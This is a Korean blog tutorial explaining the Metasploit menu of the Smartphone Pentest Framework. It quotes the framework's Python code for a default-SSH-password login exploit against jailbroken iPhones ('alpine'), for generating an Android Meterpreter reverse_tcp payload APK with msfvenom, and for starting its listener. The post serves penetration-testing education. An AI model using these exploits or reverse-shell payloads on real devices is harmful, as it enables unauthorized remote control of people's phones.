Infomation

Smartphone-Pentest-Framework (SPF) - Console (8)

DarkSoul.Story 2013. 12. 27. 23:21
반응형



 8)  Use Metasploit

Use Metasploit 메뉴는 스마트폰 용 메타스플로잇모듈을 생성 하거나 사용할 수 있도록 도와주는 메뉴이다. Use Metasploit 메뉴를 선택 하면, 아래와 같이 하위 메뉴가 존재한다. 



8.1) Run iPhone Metasploit Modules

Run iPhone Metasploit Modules 메뉴는 아이폰용 메타스플로잇 모듈을 이용할 때 사용하는 메뉴이다. Run iPhone Metasploit Modules를 선택하면, 아래와 같이 3개의 아이폰용 익스플로잇을 사용할 수 있다. 여기서는 Run iPhone Metasploit Modules이 어떤것인지만 확인하고, 자세한 내용은 언급하지 않겠다.



- Cydia Default SSH Password

Cydia Default SSH Password 익스플로잇은 Cydia를 이용하여 탈옥된 아이폰에서 SSH가 활성화 되어 있는 경우 SSH 패스워드를 알아내는 모듈이다. Cydia는 evad3rs라는 개발팀이 개발한 아이폰5S와 아이패드 에어까지 지원하는 IOS 탈옥툴이다. Cydia Default SSH Password 메뉴에서 사용되는 메타스플로잇 모듈은 아래와 같다. 


955

956 def metadefaultpassword(metaloc):

957     print "Logs in with alpine on a jailbroken iPhone with SSH enabled."

958     rhost = raw_input('iPhone IP address: ').strip()

959     os.system(metaloc + "/msfcli exploit/apple_ios/ssh/cydia_default_ssh RHOST=" + rhost + " E")

960



- Email LibTiff iOS 1 메뉴와 MobileSafari LibTiff iOS 1 메뉴

현재 Email LibTiff iOS 1와  MobileSafari LibTiff iOS 1 메뉴는 메뉴 타이틀만 생성되어 있으며 아직 개발이 되어 있지 않다. 


8.2) Create Android Meterpreter

Create Android Meterpreter 메뉴는 안드로이드 Meterpreter를 만들때 사용하는 메뉴이다. Create Android Meterpreter 메뉴를 선택 하면, 아래와 같이 안드로이드폰에서 Meterpreter가 실행되었을 때 연결되는 IP (공격자)와 연결될 포트번호를 입력받으며, 입력한 내용이 맞는지 한번 더 확인한 후 안드로이드폰용 Meterpreter를 만든다. 


  

안드로이드 Meterpreter를 만드는 소스코드를 잠시 살펴 보면 아래와 같다. msfvenom을 이용하여 안드로이드폰용 Meterpreter 만드는 것을 확인할 수 있다. 여기서 사용되는 페이로드는 android/meterpreter/reverse_tcp 이다.


910 def androidmeterpreter():

911     metaloc = config.get("METASPLOITLOC")

912     msfvenom = metaloc + "/msfvenom"

913     metapp = config.get("ANDROIDMETERPRETER")

914     if os.path.exists(msfvenom):

915         while True:

916             print "Generate Android Meterpreter"

917             print

918             lhost = raw_input('IP to connect back to:').strip()

919             lport = raw_input('Port to connect back to:').strip()

920             correct = raw_input('Is this correct(y/N):').strip()

921             if correct == 'y':

922                 break

923         os.system(msfvenom + " -p android/meterpreter/reverse_tcp LHOST=" + lhost + " LPORT=" + lport + " -     f raw > " + metapp)

924


생성된 Meterpreter는 ~/Smartphone-Pentest-Framework/frameworkconsole/에 AndroidMeterpreter.apk 파일로 존재한다. 



8.3) Setup Metasploit Listener

Setup Metasploit Listener메뉴는 안드로이드 Meterpreter 리스너를 실행 시키는 메뉴이다. Setup Metasploit Listener 메뉴를 실행 시키면 아래와 같이 Meterpreter가 실행되었을 때 연결되는 IP (공격자)와 연결될 포트번호를 입력받으며, 입력한 내용이 맞는지 한번 더 확인한 후 안드로이드 Meterpreter 리스너를 실행 시킨다. 



Setup Metasploit Listener메뉴의 소스코드를 잠시 살펴 보면 아래와 같다.  IP와 포트를 입력 받으면 msfcli를 이용하며, 사용되는 페이로드는 앞서 Create Android Meterpreter 메뉴에서 사용한 페이로드와 동일하다는 것을 알수 있다.


897 def metalistener():

898     metaloc = config.get("METASPLOITLOC")

899     msfcli = metaloc + "/msfcli"

900     if os.path.exists(msfcli):

901         while True:

902             print "Open Android Meterpreter Listener"

903             print

904             lhost = raw_input('IP to connect back to:').strip()

905             lport = raw_input('Port to connect back to:').strip()

906             correct = raw_input('Is this correct(y/N):').strip()

907             if correct == 'y':

908                 break

909     os.system(msfcli + " multi/handler payload=android/meterpreter/reverse_tcp LHOST=" + lhost + " LPORT="      + lport + " E")





 

반응형